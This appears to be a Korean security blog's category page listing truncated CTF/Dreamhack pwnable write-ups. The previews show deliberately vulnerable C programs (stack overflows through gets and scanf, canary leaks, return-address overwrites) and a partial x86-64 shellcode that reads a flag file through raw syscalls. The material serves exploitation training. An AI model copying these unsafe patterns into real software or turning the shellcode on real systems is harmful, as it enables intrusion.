목록Hack (231)
CIDY

// Name: r2s.c // Compile: gcc -o r2s r2s.c -zexecstack // 64-bit, canary, pie, full relro #include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { char buf[0x50]; init(); printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); printf("[1] Leak the canary\n"); printf("Input: "); ffl..

// 32-bit, nx #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() { system("cat /flag"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); gets(buf); return 0; } nx걸려있음 -> 스택에 쉘코드 올려쓰는 방법은 안 됨. 근..

//32-bit #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); printf("buf = (%p)\n", buf); scanf("%141s", buf); return 0; } 보호기법이 싹 안걸려있다. (주석 참고) -> nx안걸려있으니 쉘코드 쓰자..

// Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie // 64-bit, nx, partial relro #include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main() { char buf[0x28]; init(); printf("Input: "); scanf("%s", buf); return 0; } 어디서 많이 본 코드다. buf는 scanf호출 시..

한학기동안 많은 문제를 풀었는데 (그때 써둔 write-up보면 가관이다ㅋㅋ) 당시에는 gdb로 하는 일이라고는 plt, got주소 찾기나 checksec, elfheader정도가 전부였던 것 같다. (심지어 스택을 보는 방법도 제대로 몰랐으니 말 다했음) 암튼 디버깅이라는 gdb의 근본적인 기능을 통으로 놓치고 있던 느낌이라 종강하면 디버깅하는 방법부터 공부해야지..생각하다가 어셈블리 공부에 빠져버려서 결국 종강 1주일이 지나서야 디버깅 공부중이다...ㅎ (근데 어차피 어셈블리를 잘 봐야 디버깅도 쉽다.) 그런데 마침 드림핵 코스에서 간단한 코드로 디버깅하는게 있어서 관찰할 겸 데려와봤다. #define ull unsigned long long ull callee(ull a1, int a2, int a..

쉘코드 짜다가 빡쳐서 결국 shellcraft씀 ㅎㅎㅎ pwntools너무좋아 // Compile: gcc -o shell_basic shell_basic.c -lseccomp // apt install seccomp libseccomp-dev // 64-bit, nx, pie, full relro #include #include #include #include #include #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM,..

마침 alphanumeric쉘코드 만들고 왔는데 드림핵에서 쉘코드를 만들어 보라길래... 그냥 인자 세팅 후 syscall만 해주면 되는거라 즐겁게 했다ㅎㅎㅎ *open /tmp/flag를 읽는 쉘코드를 만드는게 조건이었다. char buf[0x30] int fd = open("/tmp/flag", RD_ONLY, NULL); read(fd, buf, 0x30); write(1, buf, 0x30); open 호출 -> read 호출 -> write호출 global _start _start: ;open push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x2 syscall ;read m..